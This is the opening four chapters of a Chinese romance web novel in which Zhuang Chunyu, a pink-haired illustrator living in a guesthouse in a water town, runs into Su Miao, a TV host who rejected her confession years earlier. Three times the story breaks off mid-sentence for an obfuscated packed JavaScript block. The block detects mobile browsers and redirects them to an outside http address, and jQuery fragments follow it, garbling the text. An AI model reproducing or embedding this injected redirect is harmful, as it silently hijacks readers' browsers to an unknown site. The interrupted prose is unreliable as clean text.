《天干物燥小心直女》 1. 我也追过她 为了稍微缓解尴尬,庄春雨第三次拧开手边的矿泉水,送到嘴边。 几秒后—— “天呐!到现在我还是觉得自己在做梦!” 不大宽敞的屋子里,响起一声土拨鼠尖叫。 又一声:“妈妈咪,老天奶!你们谁来掐我一下?” 汪月笙往左。 小范:“走开啊……” 又朝右。 张张:“求你正常点,别犯花痴。” 她锲而不舍,凑到坐得稍远一些的庄春雨面前,恳求:“Ring老师……” 庄春雨毫不犹豫伸手往她腰间拧了把,紧接着汪月笙在空气里扭了把,水蛇般灵活,女孩的痛呼声引起众人发笑。 庄春雨也笑,且没有丝毫愧疚之心:“掐了,你让我掐的。” “我说着玩的,谁知道你下手这么狠……” “算了,你不懂。” 汪月笙有些委屈,但说话时眼睛里还是冒着星星:“那可是苏缈,我的白月光,我女神,平常在电视里才能看到的。” “说真的,你们觉得我能不能试着追她?” 话音落地,就连空气都变得静默,小范和张张已经默契地转移话题,开始聊起今晚有哪些好笑的事情。 庄春雨也听不下去,粉色的发丝从指缝间遛走,她尴尬地捋捋头发,起身:“我有些饿,下楼找点吃的,你们先聊。” 打开房门,从露台吹来的晚风甫一下将女人包裹住,被雨润过的空气湿意明显,清清凉凉。 庄春雨摸摸自己的胳膊,一层密密麻麻的小栗子,在回房间拿件披肩和直接下楼这两项中权衡半秒,她关上了房门。 因为她听见屋子里,汪月笙凭一己之力又把话题拉回到苏缈身上。 庄春雨现在听不得这个名字,一听,就头疼。 离开时经过空荡的公共露台,又不免多看两眼。 好吧,她现在没空去想苏缈。 实在太饿了。 来到一楼的开放式厨房,庄春雨熟稔地拉开橱柜,从里摸出把还剩一半的挂面,架锅烧水。 在等待水开的间隙里,她又绕到后院,伸手从老板搭的鸡窝里摸出两颗刚下不久的鸡蛋,回来时路过空无一人的前台,顺手帮忙清理了下后台堆积的问房消息。 等花生从外边回来,庄春雨已经端着热腾腾的青菜挂面,坐在桌前,目光追着她:“花生,冰箱里鸡蛋没了,我从后院窝里摸了两颗蛋,你记一下。” “哦,回头我给老板说。” 回到柜台后方,花生握着鼠标解锁屏幕点了几下,并不惊讶地问,“后台消息你帮我清了?” 庄春雨嘴里含着面,含糊不清地应:“嗯,最近问房的人挺多,大家都不用上班的吗……?” “还不是多亏你的宣传,现在淡季,咱们店里生意倒是一点没淡。”花生好心情地笑了下,安静的大堂,不间断响起键盘回弹的动静,她又在回后台问房消息。 庄春雨跟着笑了。 碗里的挂面很快见底,她意犹未尽,捧起碗轻吹,又喝了两口汤。 暖融融的面汤下肚,再抬头时,空荡的大堂里多了个人。 苏缈还是傍晚在院子里那身,只是多披了件薄衫,半挽的长发已经放下来,带着自然弯曲的弧度,清淡温柔。 四目相对的瞬间,空气都变得沉默。 庄春雨觉得自己像是站在旧时光里那台生锈的机器,全身上下都变得僵硬,一个细微的动作带起齿轮与齿轮间充满锈迹的摩擦,嘎吱,嘎吱,连逃离都好缓慢笨拙。 她其实到现在也想不明白。 苏缈怎么会在这呢? 苏缈怎么能在这呢? 就像月亮不会坠落人间。 苏缈大约也没想到,这个点会在一楼碰见庄春雨。 她神情是不遮掩的迟疑,似乎在犹豫,要不要开口打招呼,或者直接上前。 就在苏缈迈动脚步,准备朝着这方过来的时候,庄春雨先她一步起身。 先遛。 花生眼尖地瞄到几米外开始移动的身影,余光瞥过去:“吃完了?你把碗筷放池子里就行,不用洗了,今晚活动堆了不少碗碟杯具,等明天阿姨上班了一起收拾。” “哦,好。”庄春雨听话地将碗筷放进池子,转身,就朝楼上走。 身后,花生应该是注意到了苏缈:“你好~~” “有什么需要吗?” 庄春雨放缓上楼的脚步,竖起耳朵。 “我想问问,这里有没有驱蚊液或者花露水之类的东西……”苏缈语调轻柔,声音也很有辨识度,和今夜丝丝清凉的晚风很衬。 庄春雨听明白了,原来是有蚊子咬,所以下楼来找花露水。 也是。 这几天升温又下雨,别看水镇依山傍水的环境好,但环境好往往伴随着不可避免的蚊虫。 正想着,花生突然转头叫住上楼的她:“诶——!” 庄春雨一个踉跄,差点踩空。 她手扶栏杆,故作淡然地回头,收到了来自花生的友情提醒:“Ring姐,今晚大概率有雨,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360998|183679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住的那个房间容易飘雨,睡觉记得关好窗。” 庄春雨:“……知道了。” 这一回头,自然又与苏缈对视上了。 庄春雨望着那双静若黑夜的乌眸,默默不语。 花生满意地点头,转身抬脚走往旁边的杂物间:“驱蚊液花露水都有的,你等等,我给你拿,其实入夏后咱们民宿每周都会做两到三次驱蚊,但是吧,效果不大好,回头我跟老板再反馈一下让她多花点钱,别那么抠……” “嗯,那麻烦你。”苏缈缓慢地眨了下眼,安静收回目光,笑笑,跟上她。 庄春雨松了口气,又有一点怅然。 其实、也许、可能……会不会苏缈压根就没有打算和她说话的意思?倒是她自己,先尴尬介意上了,未免有点自作多情。 庄春雨晃晃脑袋,仿佛听见了清澈的水声。 到底在想什么啊? 忽略大堂的动静,她径直上楼,回到房间。 汪月笙的“研讨大会”还没结束,见庄春雨回来,不由分说,将她拉回原本的位置上坐好。 庄春雨偏头看窗外,安静地听她一遍又一遍说着“苏缈”这个名字,从最开始的抵触,到逐渐适应,庄春雨不免想起一些已经落灰的往事。 在好多年前,十六还是十七岁的时候,她也像汪月笙这样,会和身边的人一遍一遍提起苏缈的名字,眼睛里还盛着细碎闪耀的星光。 那时候,她和苏缈还是很要好的朋友。 但后来发生的事情,就真挺尴尬的——是无论何时回想起来,都让人忍不住想要找个地洞躲起来的尴尬。 想到这,庄春雨忍不住低头,重重叹口气。 还在闲聊的三人被她这一声叹气吸引过去,汪月笙更是在意:“Ring老师,你怎么叹气?我的分析哪不太对?” 怎么表情这么凝重? “没问题,”庄春雨抬头看她,用一种鼓励赞赏的口吻,说,“你的分析、计划啊,什么的都没问题,非常好。”现在的小妹妹,追起人来都一套一套的。 汪月笙懂事地接话:“但——?” 庄春雨很欣赏这份眼色,自己的话,确实还有后半部分。 “其实,”她呵笑一声,双手抱肩,往身后的椅子上靠,“我认识苏缈。” 大家不约而同静下来。 这样的笑容也不免让庄春雨接下来要说的话都萦上一股淡淡的,纯天然的倒霉感。 她眼神轻飘飘扫过在场三人,无奈地说:“我也追过她。” “但,没追到。” 2. 故人 是的,她也喜欢过苏缈。 说不好到哪种程度的喜欢,有多么深刻,但总归是那张青春画纸上最为浓墨重彩的一笔,经年挥之不去。 当初庄春雨喜欢苏缈这件事,人尽皆知。 当然,表白之后被拒绝,也人尽皆知。 不然,庄春雨也不能时隔多年后看见苏缈,依然尴尬。 她觉得很丢脸。 只是从前的她和现在的她区别在于,十六七岁的庄春雨在意被拒绝,十分受伤,还有些生气——不知道是气苏缈,还是气自己,亦或者是气当时那个嘴太快,将她心事宣之于口,已经不记得名字的同学。 而现在的庄春雨,却能大大方方地坐在这,把过去的往事当做笑话说出来,给并没有要好到哪去的朋友们听。 “她是直女。” 庄春雨用简单四个字,结束掉今晚这场闹剧。 为数不多的怜爱留给汪月笙,也给从前的自己。 将朋友们送出房间,世界总算变得清净。 洗完澡出来,窗外竟然已经飘起绒绒的雨,细雨连成丝线,仿佛毫不相干的天与地终于有了一丝交集。 想起花生说过的话,庄春雨走到窗前将半开的窗子合上。 入睡前,她照例玩玩手机,清理消息红点,上微博冲会儿浪。 不同于以前漫无目的的闲逛,今夜,她有备而来,在搜索框精准输入:苏缈,相关联的金V认证用户与超话瞬间就弹了出来。 南省省台的主持人认证,粉丝不多,九十三万,甚至不及一般的十八线娱乐圈糊咖,超话倒是挺活跃,广场能够看见一分钟以前超话还有人发言,说明活人挺多。 庄春雨没防备地点进去,下秒,被铺天盖地的美图直接怼一脸,从四面八方拥来的苏缈给她砸得晕头转向。 与缈同行呀:[星星眼][星星眼]今天是苏缈学姐,请查收~~[九宫格图片] 缈粉小团子:总有人因为你是你,而超级喜欢你[图片][图片] 缈鲨:不愧是我老婆,竟拥有如此完美的一张脸![图片] “我怎么好像有那个什么病似的……”庄春雨终于反应过来自己在做什么,一把按下手机。 她不想看见苏缈,却还受虐似的在网上搜苏缈的名字,这不是有病是什么? 虽然这种事,她下午的时候已经做过一回。 那会儿庄春雨熬了个大夜睡足十五小时刚醒,开门拿外卖的时候,听见有人在露台打电话,匆匆一瞥——那是时隔七年,她和苏缈第一次再见。 庄春雨疑神疑鬼,以为自己眼花。 直到回房查看手机,发现汪月笙在自己没醒前,已经在群里发过一轮疯了。 之后,就是傍晚入夜。 民宿小院一周两次雷打不动的欢乐趴,苏缈再次现身。 庄春雨彻底确定下来。 手机按在胸口,从边缘缝隙里漏出点不甘心的光亮。 数秒后,庄春雨再次举起手机,咬牙:“看一眼也是看,看两眼也是看,看都看了……” 不记得什么时候睡着的,迷迷糊糊,仿佛听见了雨点滴落屋檐的动静。 梦里也是苏缈,庄春雨管这叫噩梦。 第二天闹钟不知道怎么没响,睁眼已是九点过。 “完蛋!”她匆匆忙忙起床,想自己好像约了镇子上另外一家民宿老板做改造计划,十点,现在时间上快要来不及。 即便如此,出门前庄春雨还是对着镜子化了个淡妆——考虑到出门后,不知道在哪个转角就会碰上苏缈。 一个对她来说不是前任,却胜似前任的女人。 庄春雨决不允许自己蓬头垢面地遇见。 或许老天听见了这反复的祷告。 走出门,没两米。 “庄春雨——” 很温柔的声音,清清淡淡,极衬今天的天气。 庄春雨转头,看见苏缈从露台的椅子上站起来,好看的眉毛微微聚拢成小小漂亮的峰峦,一点迟疑:“你……还记得我吗?” 要!命! 躲不过了。 庄春雨心里叹口气,一副意外又惊讶的表情,朝人缓步走近:“啊?诶?真的是你啊苏缈,好多年不见了,昨晚在楼下我还以为自己看错了,没敢认。” 没等对方先说,她率先一步把自己的形象圆好。 苏缈听完,恍然模样,她抿唇笑了:“原来是这样。我还以为,你在假装不认识我。” 庄春雨愣了下。 不是吧…… 姐,这是能说的吗? 这么直白?? 故意的吧。 周遭的氧气被抽走,庄春雨觉得自己处于随时窒息的边缘。 “。”她在心里打出个句号,静默片刻,打哈哈地笑,“怎么会,古话有句怎么说来着,人生三大喜事,洞房花烛夜,金榜题名时,他乡遇故知。” “那咱们这也算是……他乡遇故知,对吧?我开心还来不及呢。” 庄春雨也不知道自己在说什么了,现在完全是嘴比脑子快,想到什么说什么。 还好出门前考虑到今天要走不少路,穿的运动鞋,不是凉鞋,不然的话,苏缈就能看见她用脚趾抠出三室一厅。 那多失礼。 只是当她望进那双黑色的眼眸,明净清透,里头除了浅浅的倒影再无其他。 眼睛骗不了人。 苏缈不像故意的,也不像是话里有话的暗讽或者其它,她,很真诚。 这让庄春雨生出点莫名的,名为羞愧的情绪。 也是,苏缈做人做事一贯如此,就连当初拒绝自己的时候都是坦坦荡荡,真诚得不得了,好像庄春雨向她表白,才是种亵渎和冒犯。 哎,算了。 庄春雨拉开苏缈对面的椅子,坐下。 两人面对着面,她开始没话找话:“其实都挺多年没见了,我觉得我和以前的变化还是挺大的,你就不怕认错人啊?” 无处安放的手习惯性抬起来,想要捋捋头发,手抬到一半,想起来,又放回腿上。 这是庄春雨没话说,或者尴尬时习惯性的动作。 苏缈看着她,突然笑了。 很轻的一声。 庄春雨被她笑得懵了会儿:“你笑什么?” 不是,为什么要笑啊? 难道她刚刚说的话很好笑吗? 她变化不大吗难道?? 跟以前比,她变漂亮了很多好吗? 庄春雨不知道为什么,平常自己挺正常的一个人,沾上苏缈,就变得敏感又脆弱。 大约还是和她那可怜的,被拒绝过的自尊心有关。 苏缈目光落在她发顶,坦诚地说:“你的头发,很好认。我第一次见你的时候你就是这个发色。” 啊,这。 庄春雨想起来了,对方这句话将她记忆拉回到好多年前。 高一入学那会儿流行染头发,什么黄毛红毛,大家都是怎么潮怎么来。 庄春雨从小被家里娇纵着长大,又是从学校初中部直升上来的,有恃无恐,于是在开学前叫上几个小姐妹一起去染发,染的还是粉毛。 她当时觉得自己可潮了,回头率百分百。 只可惜没熬过两天,就在年级大会上被点名批评,勒令染回黑色。 庄春雨现在的头发,也是粉色。 有着天然弧度的长发将好到肩下两寸的位置,清新甜美,再搭配她那张生来纯然的脸蛋,似一颗软绵可口的糖果。 这颗糖果的生产日期,是春天。 就像本人的名字一样,听起来是富有诗意,浪漫温柔的春天,实际……她是风风火火的火象,跟温柔诗意,似水什么的压根都沾不上边。 “哈哈,那你记性挺好的。”庄春雨尴尬一笑。 她早该想到。 和苏缈坐一起,能聊的除了她以前那些臭屁非主流的往事,再没其它。 有过的交集,就那么些。 苏缈唇角噙着极淡的笑容,也不接话了,她侧过脸去看从一楼院子里攀上来的花枝,是一颗海棠,开得娇艳。 空气安静得要命。 庄春雨的尴尬症又又又犯了,手机在桌下掌心里翻转来翻转去,烫手似的。 说点什么吧,救命。 她还不能起身直接走,这样显得很没礼貌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360999|183679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一开始就不该往这坐。 “那是你过来旅游,还是怎么?”没有让可怕的沉默持续下去,庄春雨硬着头皮随便问,“怎么会想来这?” 苏缈将脸转回来看她,沉吟:“前段时间在小红书看见很多安利帖子,都说这边环境很好适合休养,刚好我休年假没地方去,就过来了。” 哦,是这样,那就合理了。 庄春雨有点麻。 因为这家民宿和整个小镇之所以能够出名和在网上火起来,成为旅游热门地,还都是因为她。 “但是没想到,能在这遇见你。”顿两秒,苏缈又补一句。 这句话让庄春雨有点晕头转向,琢磨不明白。 “没想到在这能遇到你”是什么意思啊? 好,还是不好?褒义,还是贬义啊? 但苏缈是笑着说的,应该不是在内涵……她的脑子快烧掉了。 幸好这时一个电话打进来,犹如及时雨,将她解救出去。 “啊,差点忘了……” “我这就过来,十五分钟的样子,马上到。” 给改造民宿的活儿给忘到九霄云外去了,幸好老板有她电话。 庄春雨挂掉电话,正对上对面的眼神,苏缈靠在木椅上的温温地看着她:“有事情要走吗?” “嗯。”庄春雨点点头,捏着手机起身,离开前,还是同人真心客套了几句,“那个,镇子周边可以玩的地方很多,如果你没特别的计划,可以到前台找花生拿一份旅游指南看看,或者搜搜网上的攻略,祝你在这玩得开心。” 苏缈轻飘飘地应了声。 小电驴开出二里地,庄春雨才想起来拨过后视镜看镜面里的自己,左右打量,她对自己今天出门化了妆这件事特别满意,很小声地嘟囔:“挺漂亮的,还行,应该没留下什么不好的印象。” 虽然看起来,苏缈好像已经忘记自己跟她表过白这件事,又或许,根本就不在意。 随便吧。 萍水相逢,说得好听叫故人,说得不好听,只是成年人之间体面的客套,面子上过得去就行。 庄春雨将心思收回来,在镇上的民宿待了整天,规划完毕,给出设计草稿。 走的时候,民宿老板委婉地提醒她:“老师,别忘了明天上午带着东西早点来!马上就到旅游旺季了,您辛苦点,多帮忙费心,我想尽量快点弄完。” 庄春雨跨上自己的小电驴,边戴头盔,边说好,你放心,没问题。 回到民宿时,深蓝的天幕已经完全落下,更趋近于黑。 大门和院子里的地灯已经全部亮起,靠墙的海棠花在夜色中摇曳点缀着,庄春雨停好车径直往里,过肩的长发被头盔压出弯曲的弧度,懒散得很随意。 经过一楼大堂。 突然,连接侧院的门洞里,冒出个脑袋—— 汪月笙跳出来,看见她跟看见救命恩人似的:“Ring老师!” 庄春雨做西子捧心动作,后退半步,笑骂:“吓死我了,你做什么呢?一惊一乍的。” 汪月笙压低了声,往她跟前凑,边走边说:“我有招了Ring老师。你听我分析,你看,你说你以前和苏缈同校同学,她说她是直女拒绝了你对吧?那现在都过了这么多年了,人的性取向她是流动的啊。” “我是说,有没有可能,她现在就不直了呢。” 庄春雨捂唇:“天呐。” 她被震撼得说不出话。 震撼于眼前这个小妹妹想了一天一夜,最终还是被不着边际的爱情给蒙蔽了双眼,直接把自己给pua了。 汪月笙误解了她的意思:“你也觉得很有道理,是不是!” 庄春雨乐得笑出声。 她伸手搭上汪月笙的肩膀,拍两下,轻声评价:“有点神经了,小汪。” 汪月笙这回却没跟她一起笑,亦或者反驳说“Ring老师你干嘛骂我”,反而呆楞看起来有点可爱,连说话,都透着拘谨和紧张。 她直勾勾望着庄春雨身后,用很小的气音提醒:“不是神经……” “是苏缈。” 庄春雨愣住,回头。 真是苏缈。 3. 偶遇 不是早上庄春雨看见的那身了,苏缈换了条水墨风的半身裙,披肩裹吊带,长发散着,第一眼雅致,第二眼,是合衬这江南小镇的风情。 庄春雨想起昨天半夜自己在超话里看见的那些,满满快要溢出屏幕的倾慕,与喜爱。 她承认,那些人都说得没错。 苏缈生了一张好出众的脸,妖而不俗,美而不媚,甚至因为过于温和的性子,常常留给人第一眼的印象是好相处。 这样的人,怎么会有人讨厌呢?合该全世界都喜欢她。 这样的人,未来一定会被更多人看见。 她会在某个领域,大放异彩。 庄春雨脑子里突然闪过这样一个念头。 “晚上好。” 苏缈率先打招呼,视线在庄春雨身上停顿两秒,然后看向汪月笙。 小姑娘几乎是咬住她的句尾,激动非常:“晚上好!晚上好!你也晚上好苏老师。” 苏缈是见过汪月笙的,昨晚民宿的欢乐趴,汪月笙也在。 苏缈温温地笑了,很自然地同她搭话:“吃过晚饭了吗?” 汪月笙更激动了。 这一幕,看的庄春雨有些无语。 至于吗?不就是和你说句话。 还有苏缈。 你说你再糊,大大小小也是个公众人物吧,怎么一点儿架子都没有。 按下心中的腹诽,她抽回手搭在女孩肩上的手,自如地看向苏缈:“出门去逛景点了啊?” “嗯,听你的搜了攻略,去清河边走了走,还吃到一家味道不错的餐馆。” “也有不少避雷,好坏掺半,这边没什么人监管,总之你多翻几个帖子看看,别踩坑。”庄春雨友情提醒。 说到这,她话锋一转,突然偏过头去看汪月笙,懒懒散散,“累死了,我受不了身上脏兮兮的,先回房洗澡,你们聊。” 汪月笙一愣:“啊?好。” 苏缈对她这样没预兆的离开,也有些没反应过来,但却并未多说什么。 上到二楼时,庄春雨回头看了一眼,两人站在原地,仍旧聊得愉快。 汪月笙这会儿不知道说了句什么,苏缈露出惊讶又难以置信的表情,随即跟着笑了。 挺投缘嘛。 庄春雨回到房间做的第一件事,就是开窗通风。 她觉得房间有些闷。 脱掉身上脏外套,她靠在桌前的椅子坐下胡乱刷了会儿手机,没两分钟,又起身,抱着干净衣服走进浴室。 缭绕的水汽蒸掉乱七八糟纷扰的情绪,她坐在窗前吹着晚风,细细擦拭湿发,后知后觉才发现,不是房间里闷,是她自己,心里闷。 或者再准确些,是她看见苏缈和汪月笙有说有笑,生出了狭隘和不平衡。 庄春雨惊觉自己的也有这样灰色的一面。 尽管不知道听汪月笙说了多少遍喜欢苏缈,可实打实见到,又是另一码事。 看自己的朋友,对自己从前喜欢过的人献殷勤。 “唉……”庄春雨叹着气息,光裸的手臂横在桌面,下巴轻轻枕住,她怔怔望着窗外浓稠的夜色,也在纳闷,“庄春雨,你妈妈怎么就把你生得这么小气啊?” 都多少年了,不就是表白被拒,丢了次人吗? 至于这么耿耿于怀? 接下来几天,庄春雨早出晚归,她开着自己的小电驴到镇子东边一家民宿里帮老板画涂鸦墙,穿着也从最开始还会刻意搭配的小裙子,变成怎么方便怎么来T恤牛仔。 颜料经常会在毫无知觉的情况下沾到她的衣裤皮肤,又很难清洗,庄春雨实在没那个闲钱再置办新衣服。 “会不会影响最后的呈现效果啊?”老板皱着张脸,背手站在稍远的地方,审视这整面墙。 庄春雨要的颜料不够了。 整个镇子就一家画馆,而且是定期从镇上辗转去市里进货,本来她要的颜料今天能到,但供货商那边出了些意外,得晚一天。 庄春雨解掉身上斑斓的围裙,走到院角处冲洗小臂沾到的颜料,头也没抬:“哎呀张哥,不碍事的,就一点收尾了,到时候你验收嘛,反正我人也不会跑。” “嘿嘿,那行。” “嗯,那后天见。” “慢走啊小庄!” 从民宿侧门出来,庄春雨扶着车头拐弯,意外发现正门斜对面的奶茶店里,坐着个熟悉人影。 有些讶异苏缈会出现在这,但转念一想,人家是来旅游的散心的,爱去哪也不关她的事。 庄春雨半点没有要上前同人打招呼的心思,骑上车,直走从另条路离开。 隔天,她休息。 天又开始飘雨,湿湿嗒嗒的,她窝在房间里待了整天,哪都没去。 又过了一天,颜料到位,她吃过午饭出门去古城的画馆拿订好的颜料,前往民宿,涂鸦墙还剩一点尾巴,两三个小时的工程,庄春雨赶在日落之前收尾。 新的钱款进账,钱包宽裕不少,她心情不错,扶着车头从小巷里拐出来的时候,再一次遇见苏缈。 接连两次。 只是这回,庄春雨没法假装没看见了。 因为苏缈正朝她走来。 庄春雨狡猾地先发制人,大大方方同人打招呼:“好巧,你来这边逛啊?这边离民宿还挺远。” “嗯。”苏缈在她车前站定,眉头轻蹙着,欲言又止。 庄春雨看出点什么,车头一摆:“是遇到事了吗?需要我帮忙?” 苏缈点点头,回头看一眼身后的铺面,柜台后的老板也正朝她们所在的方向看。她有些难为情地开口:“我手机没电了,没法结账。” 出门玩,充电宝都不带的啊?心可真大。 庄春雨心中腹诽一句,拔钥匙,从车上下来:“我来吧。” 是个纪念品店,付完钱,庄春雨将礼品袋递给苏缈,问:“你还要逛吗?或者回去?” “回去的话可以和我一起,如果还要逛的话……我看看,”庄春雨走到青石板铺成的街道中央,一手撑腰,蹙起眉左右张望,倏尔,她走回来,伸手给人指路,“如果还要逛的话,朝这边走街尾有一家江南菜,我记得他们店里有充电宝借,但如果不在她们家吃饭,很难找到第二个还的点。” 苏缈顺着她指的方向看过去,视线又落回她脸上,若有所思:“你说的这家,好吃吗?” 庄春雨咬咬唇,没说话,眉头皱成川字型。 苏缈没想到她的答案这样生动,忍俊不禁,弯眸:“好,我知道了。你应该也还没有吃晚饭?” “我请你吃饭吧,就当谢谢你帮我解围。不吃江南菜,来之前我搜过攻略,网友安利这边巷子里有家小餐馆,很好吃。” 听苏缈说完,庄春雨低头取下头盔,伸手拨拨被压榻的长发,转头看向她,压眉,又挑眉:“你请我吃饭?” “是……用我的钱吗?” 庄春雨开了个无伤大雅的玩笑。 苏缈反应两秒,噙在唇角的笑容扩大了些:“嗯,那可以吗?” 她很礼貌,礼貌中带着温柔,总是给人如沐春风的感觉。 和以前一样,又不一样。 现在的苏缈,对于自己魅力的认知更加清晰,把握起来也更加娴熟,仿佛与生俱来的自信,能够让所有人都喜欢自己。 “我会还的。” 苏缈补充,笑意是从明晃晃清泉里舀了一把,快要荡出来。 当然可以。 庄春雨快速错开眼,朝她别了别脸:“走吧,但我先停一下车。” 即便不是苏缈,只是一个刚认识的朋友,她也会对人释放出友好的善意——庄春雨对自己这么说。 苏缈说的店,确实是家味道不错的店,就连本地人也会常去。 她记不完整名字,只说了个大概,庄春雨却很快反应过来她说的是哪家,然后带路前往。 对于水镇的大小街巷,庄春雨表现出来的熟悉模样,像在自己老家。 到了店里,她又同老板熟稔地问好:“张姨,我们两个人。” 苏缈跟在她身旁,连嘴都不用张一下,被全包揽了。 这和自己一个人出来,差很多。 照顾人这方面,庄春雨有着天然的自觉。 落座以后,她用湿巾擦过一遍桌子,然后拎起茶壶倒水,店里有自取的开胃小山楂,她也是熟门熟路,装好一小碟回来放在苏缈面前:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361000|183679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试试,酸甜开胃。” 苏缈捏起一块,咬下去,尚未来得及适应的酸度在味蕾扩散开,酸得她忍不住眯眼,嘴里说着好吃,手已经摸到旁边的茶水杯。 庄春雨坐在对面笑出了声,边笑边道歉:“对不起对不起,忘记跟你说了,这山楂条是当地人自己做的,比外边市场上买的零食山楂条要酸些,你一口咬那么大块,是会被酸到。” 说着说着,她又说回了自己:“不怪你,我第一次吃,也被酸到了。” 抿了口热茶,苏缈已经缓得差不多。她扇着长睫,看庄春雨那双莹润的笑眼,也笑了:“是吗?” 庄春雨刚要说,是。 这时候张姨从后厨出来给她们上凉菜,顺便揭穿庄春雨坏心眼:“小庄啊,你每次带朋友过来都忘记提醒人家,回回都那么巧的哦?” 哦,故意的。 苏缈略讶异,抬眸看了庄春雨一眼。 庄春雨难得一本正经为自己辩解,摆手:“真不是,我这回是真的忘记了……” 以前带初次见面的粉丝朋友过来吃,开个玩笑捉弄一下,无伤大雅,那是大家在网上都已经聊得很熟了。 但对苏缈,她可没那个捉弄人的心思。 她们哪有熟到可以随便开玩笑的地步? 苏缈却仍然在笑:“是故意的也没关系,”话音落地,她举起筷子夹了一口刚上桌的凉菜,转开话题,“很清爽,脆脆的,你试试?” 庄春雨于是也伸筷。 她一边吃,一边想,苏缈是真的很爱笑。 气氛有了一个良好的开端,话题便自然而然开始延展。 苏缈话题递得相当的自然,偶尔冷不丁也会开个玩笑,从不让话掉地上,和她聊天,庄春雨觉得很舒服,最开始那点抵触和不自在都消除许多。 “你是在这边镇上定居了吗?”苏缈忽然问。 她注意到了庄春雨的对镇子的熟悉。 “算是吧。在这住了一年多了,小镇除了偏僻不太便利,其它地方还是挺好。” “那应该是,刚回国就过来了?” 之前的对话都很自然,正常闲聊,说到这个的时候,庄春雨只含糊应了一句:“嗯,差不多。” 苏缈没察觉到,她继续说:“高中的时候你老说,不努力读书也没关系,反正以后还可以回家做生意,我还以为你出国回来后,会继承家业。” 庄春雨没接话。 空气静默了大概三四秒,苏缈才反应过来气氛不太对。 她犹豫着要转一下话题,对面的庄春雨这时忽然抬头,倒吸口气,像不小心吃到了一颗辣椒,眼眶都润了,但却在笑:“以前我年少无知爱说大话嘛,你就别放心上了,怎么还记这么清楚呢……” “咱们别说以前了,说现在吧,你这几天玩得怎么样?” 这顿饭吃了一百二十八。 结账时,苏缈习惯性去摸手机,动作到一半,又想起来些事情,抽回手,坐在那安静等着庄春雨付钱。 回民宿后,两人在楼梯口分手。 到这,庄春雨这才知道,原来苏缈的房间也在二楼,虽然和自己住的地方隔着一段,但刚巧是斜对角。 她回到房间,换好居家服翘着腿在小沙发刷了会儿群消息,又看了眼微博。 “咚咚”两声,房门响了。 “来了。”庄春雨低着头边看手机,从沙发上起身。 她估摸着敲门的人不是汪月笙,就是院里几个熟面孔。 谁想门一打开,面前站着的,是还没换衣服的苏缈。 苏缈握着手机,温声:“我想还你钱,但想起来,没有你的微信。” 庄春雨会意,低头操作手机,顺便看了眼屏幕时间,距离她们回来才过去二十分钟:“不用这么着急吧,才这么会儿时间,你手机充好电了吗……” 苏缈长密的睫羽在光影中颤了下,没接话。 直到庄春雨朝她晃晃屏幕,示意她扫码。 苏缈举起手机,不到一秒,又放下。 庄春雨给的,是付款码。 苏缈掖住唇角,又松开,这次不是一贯礼貌的问句了。她看向庄春雨:“加微信吧,我给你转账。” 4. 百分之八十五 苏缈说话,从来都是留有余地的,她甚少强势,从不让人为难,总是一副温清模样。 但也有例外。 比如,庄春雨第一次从苏缈嘴里听见没有回斡旋余地的回答,是当着所有人的面,她和自己说:“抱歉,我不喜欢女孩子。” 第二回,就是现在。 隐隐约约的强势,直接了当拒绝了付款码,和她说,要加微信。 “哦,好。” 撤回手机,庄春雨将自己的名片码调出来,重新看向对方。 那就加吧。 面对面,好友添加成功的提醒从对话框里弹出来,苏缈确认无误,鼻间气息换动,又恢复到平常的清婉模样。 好似方才话中藏有的强势,不过是庄春雨的错觉。 “那我先回去了。”她垂下手。 “嗯。” 关上门,庄春雨进到卫生间洗了把脸。 没多久安静的房间里再次响起敲门声,她折回门口,边开门还碎碎念:“是还有什么事吗……” “Ring老师!” 猝不及防,汪月笙那张大脸出现在眼前。庄春雨将剩下的话咽回肚子里,看她身后,小范和张张也在,三人瞧着像是刚刚从外边回来。 汪月笙举起手里的袋子,轻轻一晃:“烤串!啤酒!吃不吃?” 庄春雨勾了勾唇:“去露台。” 小小的露台,装满了人气,又变得热闹起来。 庄春雨其实是一个很闲散的人,或者说好听点,自由职业。 与这三人的相识,也是在互联网上。 她的微博名叫Spring,账号有着将近十万的微博粉丝,在绘圈小有名气,姑且算画师,什么活儿都接。 大家图顺口,都叫她Ring老师。 汪月笙她们三个,就是她在微博认识好几年的粉丝。 花生先前说民宿生意好是托了庄春雨的福,也是因为这个。 大半年前,庄春雨一条记录生活的博文偶然爆火,让网友们注意到了她暂居的这个小镇和民宿,于是陆陆续续,开始有人过来旅游,小镇的旅游业也一并带动。 其中来的,有不少是她粉丝。 有辞职过来散心的。 